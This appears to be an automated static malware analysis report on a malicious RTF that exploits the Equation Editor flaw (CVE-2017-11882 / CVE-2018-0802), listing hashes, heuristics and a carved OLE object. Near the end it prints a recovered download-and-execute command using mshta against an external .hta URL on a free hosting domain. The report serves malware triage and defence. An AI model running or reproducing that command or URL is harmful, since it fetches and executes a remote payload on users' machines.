Malicious RTF — malware analysis report

Static analysis result for SHA-256 b0ed2c857e16dc73…

MALICIOUS

RTF

8.1 KB Authoring application: Riched20 6.3.9600 First seen: 2020-09-04
MD5: 69391376e609f6686d1fac56553c1848 SHA-1: 55f1caad9b30ae6ee22eb99756cffbbe87e64e9e SHA-256: b0ed2c857e16dc73cb43948b6a476b4352ec93822b6429081e55e34ffd797d4e
382 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains a critical heuristic firing for CVE-2017-11882, indicating the exploitation of a known vulnerability in the Equation Editor. This exploit is designed to execute arbitrary code, likely to download and run a secondary payload. The embedded URL, although marked as confirmed benign, is suspicious in context and could be a component of the attack chain.

Heuristics 9

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • ClamAV: Rtf.Exploit.CVE_2018_0802-6624871-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Exploit.CVE_2018_0802-6624871-1
  • Equation Editor object class critical RTF_OBJCLASS_EQUATION
    Object class 'equation.3' references Equation Editor
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://woffice365.000webhostapp.com/Windows%20Start-Up%20Application.hta In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00000107.bin rtf-objdata-decoded RTF \objdata at offset 0x107 3627 bytes
SHA-256: a0e847df7d63f184affc5a59a436c056956bf38b9472e5479dd34d3fd258fcc4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://woffice365.000webhostapp.com/Windows%20Start-Up%20Application.hta Static shellcode analysis recovered command string(s): mshta http://woffice365.000webhostapp.com/Windows%20Start-Up%20Application.hta

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